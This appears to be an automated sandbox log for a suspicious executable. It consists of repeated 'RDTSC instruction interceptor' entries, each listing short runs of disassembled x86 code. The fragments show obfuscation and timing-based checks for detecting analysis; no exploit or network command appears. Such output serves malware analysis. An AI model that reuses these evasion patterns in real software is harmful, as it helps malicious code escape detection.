Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4FE8B4 second address: 4FE92C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F716557DC7Dh 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f jng 00007F716557DC83h 0x00000015 nop 0x00000016 pushad 0x00000017 mov edi, dword ptr [ebp+122D3969h] 0x0000001d mov di, 885Ah 0x00000021 popad 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ebx 0x00000027 call 00007F716557DC78h 0x0000002c pop ebx 0x0000002d mov dword ptr [esp+04h], ebx 0x00000031 add dword ptr [esp+04h], 00000019h 0x00000039 inc ebx 0x0000003a push ebx 0x0000003b ret 0x0000003c pop ebx 0x0000003d ret 0x0000003e mov bl, ch 0x00000040 push 00000000h 0x00000042 jmp 00007F716557DC7Bh 0x00000047 xchg eax, esi 0x00000048 push eax 0x00000049 push edx 0x0000004a jnc 00007F716557DC7Ch 0x00000050 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4FE92C second address: 4FE94C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716511B4A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F716511B498h 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4FE94C second address: 4FE952 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4FE952 second address: 4FE956 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4FBA9F second address: 4FBAB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F716557DC7Fh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4FCBA8 second address: 4FCBAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4FBAB5 second address: 4FBAB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4FCBAE second address: 4FCBB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4FCBB2 second address: 4FCBC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4FCBC1 second address: 4FCC52 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 or edi, dword ptr [ebp+122D2E3Fh] 0x0000000f push dword ptr fs:[00000000h] 0x00000016 sub di, 23E7h 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 mov bx, 38B8h 0x00000026 mov eax, dword ptr [ebp+122D146Dh] 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f call 00007F716511B498h 0x00000034 pop eax 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 add dword ptr [esp+04h], 0000001Dh 0x00000041 inc eax 0x00000042 push eax 0x00000043 ret 0x00000044 pop eax 0x00000045 ret 0x00000046 add ebx, dword ptr [ebp+122D2E60h] 0x0000004c push FFFFFFFFh 0x0000004e push 00000000h 0x00000050 push eax 0x00000051 call 00007F716511B498h 0x00000056 pop eax 0x00000057 mov dword ptr [esp+04h], eax 0x0000005b add dword ptr [esp+04h], 0000001Bh 0x00000063 inc eax 0x00000064 push eax 0x00000065 ret 0x00000066 pop eax 0x00000067 ret 0x00000068 sub bx, C80Ah 0x0000006d nop 0x0000006e jmp 00007F716511B49Ah 0x00000073 push eax 0x00000074 pushad 0x00000075 push edx 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F9D05 second address: 4F9D2E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F716557DC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c jbe 00007F716557DC92h 0x00000012 pushad 0x00000013 jmp 00007F716557DC84h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4FDC16 second address: 4FDCD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716511B4A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F716511B49Ah 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007F716511B498h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 00000019h 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a push dword ptr fs:[00000000h] 0x00000031 add bx, B827h 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d js 00007F716511B4A4h 0x00000043 clc 0x00000044 mov eax, dword ptr [ebp+122D1629h] 0x0000004a push 00000000h 0x0000004c push edx 0x0000004d call 00007F716511B498h 0x00000052 pop edx 0x00000053 mov dword ptr [esp+04h], edx 0x00000057 add dword ptr [esp+04h], 00000015h 0x0000005f inc edx 0x00000060 push edx 0x00000061 ret 0x00000062 pop edx 0x00000063 ret 0x00000064 xor ebx, dword ptr [ebp+122D2FB7h] 0x0000006a push FFFFFFFFh 0x0000006c mov bx, D2FAh 0x00000070 nop 0x00000071 jmp 00007F716511B4A1h 0x00000076 push eax 0x00000077 push eax 0x00000078 push edx 0x00000079 push eax 0x0000007a push edx 0x0000007b js 00007F716511B496h 0x00000081 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4FF91F second address: 4FF93A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F716557DC87h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4FDCD4 second address: 4FDCDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4FDCDA second address: 4FDCE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F716557DC76h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4FEA7C second address: 4FEB08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F716511B498h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 mov ebx, dword ptr [ebp+122D3939h] 0x00000029 push dword ptr fs:[00000000h] 0x00000030 mov dword ptr [ebp+122D32ADh], esi 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d mov bh, ah 0x0000003f mov eax, dword ptr [ebp+122D1749h] 0x00000045 mov ebx, dword ptr [ebp+122D1BD6h] 0x0000004b mov edi, dword ptr [ebp+122D3B41h] 0x00000051 push FFFFFFFFh 0x00000053 push 00000000h 0x00000055 push esi 0x00000056 call 00007F716511B498h 0x0000005b pop esi 0x0000005c mov dword ptr [esp+04h], esi 0x00000060 add dword ptr [esp+04h], 00000018h 0x00000068 inc esi 0x00000069 push esi 0x0000006a ret 0x0000006b pop esi 0x0000006c ret 0x0000006d mov dword ptr [ebp+122D328Eh], eax 0x00000073 nop 0x00000074 jl 00007F716511B4B1h 0x0000007a push eax 0x0000007b push edx 0x0000007c push eax 0x0000007d push edx 0x0000007e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4FEB08 second address: 4FEB0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4FEB0C second address: 4FEB31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716511B49Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F716511B49Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4FEB31 second address: 4FEB37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4FEB37 second address: 4FEB3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 508A00 second address: 508A24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716557DC7Ch 0x00000007 jmp 00007F716557DC84h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 508A24 second address: 508A29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5082CF second address: 5082EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F716557DC85h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5082EB second address: 50830F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F716511B49Bh 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jl 00007F716511B496h 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a push ebx 0x0000001b push edi 0x0000001c pop edi 0x0000001d pop ebx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 50830F second address: 508314 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5085AE second address: 5085C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jno 00007F716511B49Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5085C3 second address: 5085C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5085C8 second address: 5085CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 50EB1B second address: 50EB36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F716557DC86h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 50EB36 second address: 50EB65 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jns 00007F716511B496h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jnc 00007F716511B4A8h 0x00000016 jmp 00007F716511B4A2h 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 50EB65 second address: 50EB69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 50EB69 second address: 50EB77 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F716511B496h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 50EB77 second address: 50EB7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 50EB7B second address: 50EB7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 50EB7F second address: 50EB9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F716557DC81h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 50EB9E second address: 50EBA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 50EC43 second address: 50EC48 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 50EC48 second address: 50EC5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F716511B496h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 50EC5A second address: 50EC64 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F716557DC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4A400F second address: 4A401B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jne 00007F716511B496h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4A401B second address: 4A402B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F716557DC7Ah 0x00000008 push edx 0x00000009 pop edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 512998 second address: 51299C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 51299C second address: 5129A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 512C8A second address: 512CA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a jc 00007F716511B4A2h 0x00000010 je 00007F716511B496h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 512CA2 second address: 512CAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jo 00007F716557DC76h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 512CAF second address: 512CB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 512E28 second address: 512E40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F716557DC76h 0x00000009 jmp 00007F716557DC7Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 51326B second address: 51328A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F716511B49Ch 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jnl 00007F716511B496h 0x00000011 jnp 00007F716511B496h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 51359C second address: 5135A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5135A0 second address: 5135A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 51A6C6 second address: 51A6CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4ED9C0 second address: 4CF424 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F716511B49Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnp 00007F716511B4A4h 0x00000011 jmp 00007F716511B49Eh 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007F716511B498h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D19FEh], eax 0x00000037 call dword ptr [ebp+122D19EBh] 0x0000003d jmp 00007F716511B4A1h 0x00000042 push eax 0x00000043 push edx 0x00000044 je 00007F716511B49Eh 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EDFDD second address: 4EE01F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnl 00007F716557DC76h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push esi 0x00000011 jnp 00007F716557DC82h 0x00000017 jmp 00007F716557DC7Ch 0x0000001c pop esi 0x0000001d mov eax, dword ptr [eax] 0x0000001f jmp 00007F716557DC81h 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b pushad 0x0000002c popad 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EE01F second address: 4EE024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EE024 second address: 4EE0B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716557DC86h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F716557DC78h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 sub dword ptr [ebp+12454F38h], edi 0x0000002a sub dword ptr [ebp+122D1AA7h], edi 0x00000030 call 00007F716557DC79h 0x00000035 jne 00007F716557DC87h 0x0000003b push eax 0x0000003c jng 00007F716557DC7Ah 0x00000042 push eax 0x00000043 pushad 0x00000044 popad 0x00000045 pop eax 0x00000046 mov eax, dword ptr [esp+04h] 0x0000004a pushad 0x0000004b push edi 0x0000004c push eax 0x0000004d pop eax 0x0000004e pop edi 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F716557DC7Bh 0x00000056 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EE0B1 second address: 4EE0B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EE0B5 second address: 4EE0C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EE0C3 second address: 4EE0C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EE3AE second address: 4EE3C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716557DC7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EE3C2 second address: 4EE3C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EE3C9 second address: 4EE3CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EE3CF second address: 4EE3D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EE3D3 second address: 4EE3D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EE992 second address: 4EE998 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EE998 second address: 4EE99C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EED58 second address: 4EED73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716511B4A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EEE11 second address: 4EEE3D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F716557DC78h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edi, dword ptr [ebp+122D3969h] 0x00000015 lea eax, dword ptr [ebp+1248975Eh] 0x0000001b sub dword ptr [ebp+122D180Eh], eax 0x00000021 push eax 0x00000022 jg 00007F716557DC80h 0x00000028 push eax 0x00000029 push edx 0x0000002a push edi 0x0000002b pop edi 0x0000002c rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EEE3D second address: 4CFFD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F716511B498h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 jmp 00007F716511B4A9h 0x00000028 jo 00007F716511B496h 0x0000002e lea eax, dword ptr [ebp+1248971Ah] 0x00000034 sub dh, 0000004Fh 0x00000037 push eax 0x00000038 jns 00007F716511B49Eh 0x0000003e mov dword ptr [esp], eax 0x00000041 or dword ptr [ebp+122D59C6h], edx 0x00000047 call dword ptr [ebp+1244F19Ch] 0x0000004d jnp 00007F716511B4B4h 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F716511B49Ch 0x0000005a push ecx 0x0000005b jmp 00007F716511B49Ch 0x00000060 pop ecx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4CFFD3 second address: 4CFFDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4CFFDC second address: 4CFFE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4CFFE5 second address: 4CFFEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4ED9CA second address: 4CF424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jnp 00007F716511B4A4h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F716511B498h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D19FEh], eax 0x0000002e call dword ptr [ebp+122D19EBh] 0x00000034 jmp 00007F716511B4A1h 0x00000039 push eax 0x0000003a push edx 0x0000003b je 00007F716511B49Eh 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
